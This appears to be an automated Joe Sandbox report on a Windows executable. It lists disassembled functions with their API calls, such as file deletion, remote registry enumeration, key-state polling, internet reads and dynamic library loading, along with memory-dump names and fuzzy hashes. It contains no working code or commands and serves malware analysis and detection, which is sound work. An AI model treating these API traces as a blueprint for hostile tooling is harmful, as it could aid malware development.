FreeLibrary.KERNEL32(00000000,?,?,00B25657,?,?,00AE62FA,?,00000001,?,?,00000000), ref: 00AE6635

Strings

Wow64RevertWow64FsRedirection, xrefs: 00AE661C
kernel32.dll, xrefs: 00AE6609

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: 17268e0dd6d0045275875b41feb08f69125c102c635151044a59c0613abbc3a9
Instruction ID: a7d0786f5a2248fb239a22c097dda7aa5cac6d54fa06cee9a3a708f9db2ff5f7
Opcode Fuzzy Hash: 17268e0dd6d0045275875b41feb08f69125c102c635151044a59c0613abbc3a9
Instruction Fuzzy Hash: E9D012356665B157462627366C18B8E6B649EE2BD13450455B808B3524CF60CD41C598

Function 00B53306 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00B535C4
DeleteFileW.KERNEL32(?), ref: 00B53646
CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00B5365C
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00B5366D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00B5367F

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: 111bd68d1d1ee4b408c8af522e1d4f6f97cf6f3d6e7597a7eba080fbbffad79d
Instruction ID: 4c7dffb6b02a224bdcfffbe3b2c19c69cdff7aea1a240ea76b9e0bc6f5ba054b
Opcode Fuzzy Hash: 111bd68d1d1ee4b408c8af522e1d4f6f97cf6f3d6e7597a7eba080fbbffad79d
Instruction Fuzzy Hash: 80B14C72900119ABDF15DBA4CC85FDEBBFDEF49751F0040E6F909A6281EA309A488F60

Function 00B6ADE7 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00B6AE87
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00B6AE95
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00B6AEC8
CloseHandle.KERNEL32(?), ref: 00B6B09D

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: 0cb40ed20f3b284bb95e31bb14354a5ec6782213360295ba5e9a14b4327dd2ed
Instruction ID: 5e7fab1eee39216d3b58641814a0c7ed9854d914ffd2ad1db5b90a03139cbce6
Opcode Fuzzy Hash: 0cb40ed20f3b284bb95e31bb14354a5ec6782213360295ba5e9a14b4327dd2ed
Instruction Fuzzy Hash: 4EA1BD71A04301AFE720DF25C986F2AB7E5EF44710F14885DF5A9DB292CB75EC418B82

Function 00B6C429 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00AEB329: _wcslen.LIBCMT ref: 00AEB333

Part of subcall function 00B6D3F8: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00B6C10E,?,?), ref: 00B6D415
Part of subcall function 00B6D3F8: _wcslen.LIBCMT ref: 00B6D451
Part of subcall function 00B6D3F8: _wcslen.LIBCMT ref: 00B6D4C8
Part of subcall function 00B6D3F8: _wcslen.LIBCMT ref: 00B6D4FE

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00B6C505
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00B6C560
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00B6C5C3
RegCloseKey.ADVAPI32(?,?), ref: 00B6C606
RegCloseKey.ADVAPI32(00000000), ref: 00B6C613

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: d6c4089f5fc5b52381ebc5bff76283cd175ed6f2c03e4398c0c452ff4967c289
Instruction ID: e636cae12ae74e5cc05c2d05474ba55dc4c718d90f4119d5e8ce1fb259aff254
Opcode Fuzzy Hash: d6c4089f5fc5b52381ebc5bff76283cd175ed6f2c03e4398c0c452ff4967c289
Instruction Fuzzy Hash: 2E61A031208241AFC314DF14C995E3ABBE5FF84348F14859CF49A8B2A2DB35ED46CB92

Function 00B4ED12 Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00B4E6F7: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00B4D7CD,?), ref: 00B4E714

Part of subcall function 00B4E6F7: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00B4D7CD,?), ref: 00B4E72D

Part of subcall function 00B4EAB0: GetFileAttributesW.KERNEL32(?,00B4D840), ref: 00B4EAB1

lstrcmpiW.KERNEL32(?,?), ref: 00B4ED8A
MoveFileW.KERNEL32(?,?), ref: 00B4EDC3
_wcslen.LIBCMT ref: 00B4EF02
_wcslen.LIBCMT ref: 00B4EF1A
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 00B4EF67

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: 6e805c5f94d1480fa824163f08dcad9bedf18a78c8dbb16bd1c3d53a6fd72a36
Instruction ID: 126c583d7795e26d105c094f254b2e1bf9b9b06b2bcd6466c17f2439f435372e
Opcode Fuzzy Hash: 6e805c5f94d1480fa824163f08dcad9bedf18a78c8dbb16bd1c3d53a6fd72a36
Instruction Fuzzy Hash: 2C514FB24083859BD724EB94DC859DBB7ECEF84340F00096EF699D3191EF71E6888766

Function 00B49517 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00B49534
VariantClear.OLEAUT32 ref: 00B495A5
VariantClear.OLEAUT32 ref: 00B49604
VariantClear.OLEAUT32(?), ref: 00B49677
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00B496A2

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 0d9060703f014309548aff33c3b78f2b23ce507719231b263d97fc85c0360d66
Instruction ID: 2d68916d8e26398b148547e281ec12042737c769394804b2796fc849d10580b0
Opcode Fuzzy Hash: 0d9060703f014309548aff33c3b78f2b23ce507719231b263d97fc85c0360d66
Instruction Fuzzy Hash: 5C513AB5A00619EFCB14CF58C884EAAB7F8FF89314B158599E949DB314E730EA11CF90

Function 00B59540 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

GetPrivateProfileSectionW.KERNEL32(00000003,?,00007FFF,?), ref: 00B595F3
GetPrivateProfileSectionW.KERNEL32(?,00000003,00000003,?), ref: 00B5961F
WritePrivateProfileSectionW.KERNEL32(?,?,?), ref: 00B59677
WritePrivateProfileStringW.KERNEL32(00000003,00000000,00000000,?), ref: 00B5969C
WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00B596A4

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: PrivateProfile$SectionWrite$String
String ID:
API String ID: 2832842796-0
Opcode ID: 29ebd58b1604fff85eca8b740fd8a91621209571d772acea368a461b02f1fe23
Instruction ID: 7da92a5fd441365f0df137d3e255dfaea27408e170eb77262b7567a68d0454b4
Opcode Fuzzy Hash: 29ebd58b1604fff85eca8b740fd8a91621209571d772acea368a461b02f1fe23
Instruction Fuzzy Hash: 34512C35A00259DFCF05DF65C981AAABBF5FF48314F048098E949AB362CB35ED55CB90

Function 00B69941 Relevance: 7.6, APIs: 5, Instructions: 143libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(?,00000000,?), ref: 00B6999D
GetProcAddress.KERNEL32(00000000,?), ref: 00B69A2D
GetProcAddress.KERNEL32(00000000,00000000), ref: 00B69A49
GetProcAddress.KERNEL32(00000000,?), ref: 00B69A8F
FreeLibrary.KERNEL32(00000000), ref: 00B69AAF

Part of subcall function 00AFF9D4: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00000000,00000000,00000000,?,00000000,?,?,?,00B51A02,?,753CE610), ref: 00AFF9F1
Part of subcall function 00AFF9D4: WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,00000000,00B40354,00000000,00000000,?,?,00B51A02,?,753CE610,?,00B40354), ref: 00AFFA18

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: AddressProc$ByteCharLibraryMultiWide$FreeLoad
String ID:
API String ID: 666041331-0
Opcode ID: bf962ce94a5c4c54eeebeaeea42d8e25af02d3c01270b10224713e9a83af8048
Instruction ID: ca3d42c05da649305edeca6dd25bdd811eec74ef83aa8bc5152b6b2b817af34c
Opcode Fuzzy Hash: bf962ce94a5c4c54eeebeaeea42d8e25af02d3c01270b10224713e9a83af8048
Instruction Fuzzy Hash: C5516C35604245DFCB01DFA9C5849ADBBF4FF09314B0581A8E80AAB762DB35ED86CF91

Function 00B775AE Relevance: 7.6, APIs: 5, Instructions: 131windowCOMMON

Download Yara Rule

APIs

SetWindowLongW.USER32(00000002,000000F0,?), ref: 00B7766B
SetWindowLongW.USER32(?,000000EC,?), ref: 00B77682
SendMessageW.USER32(00000002,00001036,00000000,?), ref: 00B776AB
ShowWindow.USER32(00000002,00000000,00000002,00000002,?,?,?,?,?,?,?,00B5B5BE,00000000,00000000), ref: 00B776D0
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000027,00000002,?,00000001,00000002,00000002,?,?,?), ref: 00B776FF

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Window$Long$MessageSendShow
String ID:
API String ID: 3688381893-0
Opcode ID: 7bef6522256d64b7aaf0208b5b5efef617d60e443c52f605286fb681e019bdd3
Instruction ID: bea4685d8d8a0572acd574a11fa7de81c4d19886b29a55281c8ebabf2e4cf5d7
Opcode Fuzzy Hash: 7bef6522256d64b7aaf0208b5b5efef617d60e443c52f605286fb681e019bdd3
Instruction Fuzzy Hash: 0241E735648504AFD729CF2CCC48FA57BE5EB05350F1542A4F82DA72E4CB70EE51D650

Function 00B123C1 Relevance: 7.6, APIs: 5, Instructions: 129COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 00B12433
_free.LIBCMT ref: 00B12453

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: f7af80bc1bf1e53cd45ebca270638c656d480991ff0664ff0f7812891ea52e60
Instruction ID: 070eb62e023cd4516ea6d22826ef968542b5db788d81c80399074928150bf6dc
Opcode Fuzzy Hash: f7af80bc1bf1e53cd45ebca270638c656d480991ff0664ff0f7812891ea52e60
Instruction Fuzzy Hash: 3B41D172A002009FCB24DF78C881A9EB7E5EF89314F5545E9E615EB391DB31ED51CB80

Function 00AE19CD Relevance: 7.6, APIs: 5, Instructions: 121keyboardCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00AE19E1
ScreenToClient.USER32(00000000,?), ref: 00AE19FE
GetAsyncKeyState.USER32(00000001), ref: 00AE1A23
GetAsyncKeyState.USER32(00000002), ref: 00AE1A3D

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: AsyncState$ClientCursorScreen
String ID:
API String ID: 4210589936-0
Opcode ID: 0d35880ccd9dcc4650e199c64b63ef3806a67aba52789a4e9ea66f01027af254
Instruction ID: adf78bd637556be5090c1ab49a1436a4e4864ea0ba42860c318e3bf204590c8c
Opcode Fuzzy Hash: 0d35880ccd9dcc4650e199c64b63ef3806a67aba52789a4e9ea66f01027af254
Instruction Fuzzy Hash: 86417C71A0416ABFDF059F64D884AFEB7B4FF05764F20826AE429A3290C7346E90DB51

Function 00B542B9 Relevance: 7.6, APIs: 5, Instructions: 101windowCOMMON

Download Yara Rule

APIs

GetInputState.USER32 ref: 00B54310
TranslateAcceleratorW.USER32(?,00000000,?), ref: 00B54367
TranslateMessage.USER32(?), ref: 00B54390
DispatchMessageW.USER32(?), ref: 00B5439A
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00B543AB

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Message$Translate$AcceleratorDispatchInputPeekState
String ID:
API String ID: 2256411358-0
Opcode ID: c8eff6c497010df38531658cac83557d9efec05e9c86697e5c00496bd7fc0db3
Instruction ID: 491a88985d3819a9b0ba6f4f18a3ccc64fa66d178fe289df393765378c4ea04e
Opcode Fuzzy Hash: c8eff6c497010df38531658cac83557d9efec05e9c86697e5c00496bd7fc0db3
Instruction Fuzzy Hash: 9A3164705442459FEB358B64D849BB637E8EB1130AF0406F9D8A6871B0EBB494CDCB29

Function 00B4224E Relevance: 7.6, APIs: 5, Instructions: 93sleepwindowCOMMON

Download Yara Rule

APIs

GetWindowRect.USER32(?,?), ref: 00B42262
PostMessageW.USER32(00000001,00000201,00000001), ref: 00B4230E
Sleep.KERNEL32(00000000,?,?,?), ref: 00B42316
PostMessageW.USER32(00000001,00000202,00000000), ref: 00B42327
Sleep.KERNEL32(00000000,?,?,?,?), ref: 00B4232F

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessagePostSleep$RectWindow
String ID:
API String ID: 3382505437-0
Opcode ID: 58f8bba242804c6460e7563d9f84bf26c3630b51b4d70e56fae32aaf507d7ed8
Instruction ID: a344a5b81cac608a441ca84b2901e22435a5f55fb06b109a48c3dda5f0e56d85
Opcode Fuzzy Hash: 58f8bba242804c6460e7563d9f84bf26c3630b51b4d70e56fae32aaf507d7ed8
Instruction Fuzzy Hash: FB31B171900219EFDB14CFA8CD89ADE3BB5EF04315F504269FA25A72D0C7B09A44EB90

Function 00B5D95F Relevance: 7.6, APIs: 5, Instructions: 93networkfileCOMMON

Download Yara Rule

APIs

InternetQueryDataAvailable.WININET(?,?,00000000,00000000,00000000,?,00000000,?,?,?,00B5CC63,00000000), ref: 00B5D97D
InternetReadFile.WININET(?,00000000,?,?), ref: 00B5D9B4
GetLastError.KERNEL32(?,00000000,?,?,?,00B5CC63,00000000), ref: 00B5D9F9
SetEvent.KERNEL32(?,?,00000000,?,?,?,00B5CC63,00000000), ref: 00B5DA0D
SetEvent.KERNEL32(?,?,00000000,?,?,?,00B5CC63,00000000), ref: 00B5DA37

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: EventInternet$AvailableDataErrorFileLastQueryRead
String ID:
API String ID: 3191363074-0
Opcode ID: 0d7c852c408259c4f4175536ef4388b63892c5a52f1e17041d22a0d9e2ba1b5e
Instruction ID: 7da754430b03fa1d88db6d47ffe43fa860a6dc456ac4abfbf3e8720be7d0370d
Opcode Fuzzy Hash: 0d7c852c408259c4f4175536ef4388b63892c5a52f1e17041d22a0d9e2ba1b5e
Instruction Fuzzy Hash: 49314A71504205EFDB24DFA5D884BABBBF8EF04352B1045AEE94AE3150DB30AE499B60

Function 00B761A5 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001053,000000FF,?), ref: 00B761E4
SendMessageW.USER32(?,00001074,?,00000001), ref: 00B7623C
_wcslen.LIBCMT ref: 00B7624E
_wcslen.LIBCMT ref: 00B76259
SendMessageW.USER32(?,00001002,00000000,?), ref: 00B762B5

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: MessageSend$_wcslen
String ID:
API String ID: 763830540-0
Opcode ID: 35826d46eef3dc3ea77c54ef1437cf5184154cbfaf9e0003e854a77b29dbf92b
Instruction ID: 357f7d747ea0fef9b6b1c56fa78a63f156b08942409acc0965c8eba378396ff0
Opcode Fuzzy Hash: 35826d46eef3dc3ea77c54ef1437cf5184154cbfaf9e0003e854a77b29dbf92b
Instruction Fuzzy Hash: 6C2171759006189ADB219FA4CC84EEE7BF8EF04324F108296FA3DEB181D7B09985CF50

Function 00B6138D Relevance: 7.6, APIs: 5, Instructions: 69COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 00B613AE
GetForegroundWindow.USER32 ref: 00B613C5
GetDC.USER32(00000000), ref: 00B61401
GetPixel.GDI32(00000000,?,00000003), ref: 00B6140D
ReleaseDC.USER32(00000000,00000003), ref: 00B61445

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

Associated: 0000000A.00000002.2457555521.0000000000AE0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000B7D000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457656893.0000000000BA3000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457768761.0000000000BAD000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000A.00000002.2457799916.0000000000BB5000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ae0000_Dry.jbxd

Similarity

API ID: Window$ForegroundPixelRelease
String ID:
API String ID: 4156661090-0
Opcode ID: fa65b85987f89e52280ae466060ace2f073d7dcec7f699c9621a4f81c17ddca7
Instruction ID: 8547b0c729f6be0f9b88c6965782cc4c04c221b9ef06bbafea640629cf31c732
Opcode Fuzzy Hash: fa65b85987f89e52280ae466060ace2f073d7dcec7f699c9621a4f81c17ddca7
Instruction Fuzzy Hash: 43219036A00204AFD704EF69CC84A9EB7F5EF48341B0884A9F85AD7752CE70ED44CB90

Function 00B1D13D Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00B1D146
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00B1D169

Part of subcall function 00B13B93: RtlAllocateHeap.NTDLL(00000000,?,?,?,00B06A79,?,0000015D,?,?,?,?,00B085B0,000000FF,00000000,?,?), ref: 00B13BC5

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00B1D18F
_free.LIBCMT ref: 00B1D1A2
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00B1D1B1

Memory Dump Source

Source File: 0000000A.00000002.2457583835.0000000000AE1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00AE0000, based on PE: true

